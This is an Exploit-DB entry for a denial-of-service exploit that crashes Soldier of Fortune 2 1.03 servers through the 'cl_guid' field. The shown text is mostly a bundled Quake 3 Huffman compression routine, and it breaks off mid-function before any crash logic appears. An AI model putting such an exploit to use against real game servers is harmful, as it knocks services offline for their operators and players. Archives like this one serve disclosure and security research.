Exploit-DB #841
Description: Soldier of Fortune 2 1.03 - 'cl_guid' Server Crash
Type: dos
Platform: windows
Date: 2005-02-24
Author: Luigi Auriemma

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
/*

Quake 3 engine Huffman algorithm 0.2

ALL the code comes from the Q3fusion project of Andrey Nazarov:

  http://sourceforge.net/projects/q3fusion/

I have simply modified some variables and the prototype of the
decompressing and compressing functions for a faster and simpler
usage.

by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    http://aluigi.altervista.org

*/



#include <string.h>

#define MAX_MSGLEN          0x4000

#define VALUE(a)			((int   )(a))
#define NODE(a)				((void *)(a))

#define NODE_START			NODE(  1)
#define NODE_NONE			NODE(256)
#define NODE_NEXT			NODE(257)

#define NOT_REFERENCED		256

#define HUFF_TREE_SIZE		7175
typedef void				*tree_t[HUFF_TREE_SIZE];

//
// pre-defined frequency counts for all bytes [0..255]
//
static int huffCounts[256] = {
	0x3D1CB, 0x0A0E9, 0x01894, 0x01BC2, 0x00E92, 0x00EA6, 0x017DE, 0x05AF3,
	0x08225, 0x01B26, 0x01E9E, 0x025F2, 0x02429, 0x0436B, 0x00F6D, 0x006F2,
	0x02060, 0x00644, 0x00636, 0x0067F, 0x0044C, 0x004BD, 0x004D6, 0x0046E,
	0x006D5, 0x00423, 0x004DE, 0x0047D, 0x004F9, 0x01186, 0x00AF5, 0x00D90,
	0x0553B, 0x00487, 0x00686, 0x0042A, 0x00413, 0x003F4, 0x0041D, 0x0042E,
	0x006BE, 0x00378, 0x0049C, 0x00352, 0x003C0, 0x0030C, 0x006D8, 0x00CE0,
	0x02986, 0x011A2, 0x016F9, 0x00A7D, 0x0122A, 0x00EFD, 0x0082D, 0x0074B,
	0x00A18, 0x0079D, 0x007B4, 0x003AC, 0x0046E, 0x006FC, 0x00686, 0x004B6,
	0x01657, 0x017F0, 0x01C36, 0x019FE, 0x00E7E, 0x00ED3, 0x005D4, 0x005F4,
	0x008A7, 0x00474, 0x0054B, 0x003CB, 0x00884, 0x004E0, 0x00530, 0x004AB,
	0x006EA, 0x00436, 0x004F0, 0x004F2, 0x00490, 0x003C5, 0x00483, 0x004A2,
	0x00543, 0x004CC, 0x005F9, 0x00640, 0x00A39, 0x00800, 0x009F2, 0x00CCB,
	0x0096A, 0x00E01, 0x009C8, 0x00AF0, 0x00A73, 0x01802, 0x00E4F, 0x00B18,
	0x037AD, 0x00C5C, 0x008AD, 0x00697, 0x00C88, 0x00AB3, 0x00DB8, 0x012BC,
	0x00FFB, 0x00DBB, 0x014A8, 0x00FB0, 0x01F01, 0x0178F, 0x014F0, 0x00F54,
	0x0131C, 0x00E9F, 0x011D6, 0x012C7, 0x016DC, 0x01900, 0x01851, 0x02063,
	0x05ACB, 0x01E9E, 0x01BA1, 0x022E7, 0x0153D, 0x01183, 0x00E39, 0x01488,
	0x014C0, 0x014D0, 0x014FA, 0x00DA4, 0x0099A, 0x0069E, 0x0071D, 0x00849,
	0x0077C, 0x0047D, 0x005EC, 0x00557, 0x004D4, 0x00405, 0x004EA, 0x00450,
	0x004DD, 0x003EE, 0x0047D, 0x00401, 0x004D9, 0x003B8, 0x00507, 0x003E5,
	0x006B1, 0x003F1, 0x004A3, 0x0036F, 0x0044B, 0x003A1, 0x00436, 0x003B7,
	0x00678, 0x003A2, 0x00481, 0x00406, 0x004EE, 0x00426, 0x004BE, 0x00424,
	0x00655, 0x003A2, 0x00452, 0x00390, 0x0040A, 0x0037C, 0x00486, 0x003DE,
	0x00497, 0x00352, 0x00461, 0x00387, 0x0043F, 0x00398, 0x00478, 0x00420,
	0x00D86, 0x008C0, 0x0112D, 0x02F68, 0x01E4E, 0x00541, 0x0051B, 0x00CCE,
	0x0079E, 0x00376, 0x003FF, 0x00458, 0x00435, 0x00412, 0x00425, 0x0042F,
	0x005CC, 0x003E9, 0x00448, 0x00393, 0x0041C, 0x003E3, 0x0042E, 0x0036C,
	0x00457, 0x00353, 0x00423, 0x00325, 0x00458, 0x0039B, 0x0044F, 0x00331,
	0x0076B, 0x00750, 0x003D0, 0x00349, 0x00467, 0x003BC, 0x00487, 0x003B6,
	0x01E6F, 0x003BA, 0x00509, 0x003A5, 0x00467, 0x00C87, 0x003FC, 0x0039F,
	0x0054B, 0x00300, 0x00410, 0x002E9, 0x003B8, 0x00325, 0x00431, 0x002E4,
	0x003F5, 0x00325, 0x003F0, 0x0031C, 0x003E4, 0x00421, 0x02CC1, 0x034C0
};


//
// static Huffman tree
//
static tree_t	huffTree;

//
// received from MSG_* code
//
static int		huffBitPos;


/*
=======================================================================================

  HUFFMAN TREE CONSTRUCTION

=======================================================================================
*/

/*
============
Huff_PrepareTree
============
*/
void Huff_PrepareTree( tree_t tree ) {
	void **node;
	
	memset( tree, 0, sizeof( tree_t ) );
	
	// create first node
	node = &tree[263];
	VALUE( tree[0] )++;

	node[7] = NODE_NONE;
	tree[2] = node;
	tree[3] = node;
	tree[4] = node;
	tree[261] = node;
}



/*
============
Huff_GetNode
============
*/
void **Huff_GetNode( void **tree ) {
	void **node;
	int	value;

	node = tree[262];
	if( !node ) {
		value = VALUE( tree[1] )++;
		node = &tree[value + 6407];
		return node;
	}

	tree[262] = node[0];
	return node;
}

/*
============
Huff_Swap
============
*/
void Huff_Swap( void **tree1, void **tree2, void **tree3 ) {
	void **a, **b;

	a = tree2[2];
	if( a ) {
		if( a[0] == tree2 ) {
			a[0] = tree3;
		} else {
			a[1] = tree3;
		}
	} else {
		tree1[2] = tree3;
	}

	b = tree3[2];

	if( b ) {
		if( b[0] == tree3 ) {
			b[0] = tree2;
			tree2[2] = b;
			tree3[2] = a;
			return;
		}

		b[1] = tree2;
		tree2[2] = b;
		tree3[2] = a;
		return;
	}

	tree1[2] = tree2;
	tree2[2] = NULL;
	tree3[2] = a;
}

/*
============
Huff_SwapTrees
============
*/
void Huff_SwapTrees( void **tree1, void **tree2 ) {
	void **temp;

	temp = tree1[3];
	tree1[3] = tree2[3];
	tree2[3] = temp;

	temp = tree1[4];
	tree1[4] = tree2[4];
	tree2[4] = temp;

	if( tree1[3] == tree1 ) {
		tree1[3] = tree2;
	}

	if( tree2[3] == tree2 ) {
		tree2[3] = tree1;
	}

	temp = tree1[3];
	if( temp ) {
		temp[4] = tree1;
	}

	temp = tree2[3];
	if( temp ) {
		temp[4] = tree2;
	}

	temp = tree1[4];
	if( temp ) {
		temp[3] = tree1;
	}

	temp = tree2[4];
	if( temp ) {
		temp[3] = tree2;
	}

}

/*
============
Huff_DeleteNode
============
*/
void Huff_DeleteNode( void **tree1, void **tree2 ) {
	tree2[0] = tree1[262];
	tree1[262] = tree2;
}

/*
============
Huff_IncrementFreq_r
============
*/
static void Huff_IncrementFreq_r( void **tree1, void **tree2 ) {
	void **a, **b;

	if( !tree2 ) {
		return;
	}

	a = tree2[3];
	if( a ) {
		a = a[6];
		if( a == tree2[6] ) {
			b = tree2[5];
			if( b[0] != tree2[2] ) {
				Huff_Swap( tree1, b[0], tree2 );
			}
			Huff_SwapTrees( b[0], tree2 );
		}
	}

	a = tree2[4];
	if( a && a[6] == tree2[6] ) {
		b = tree2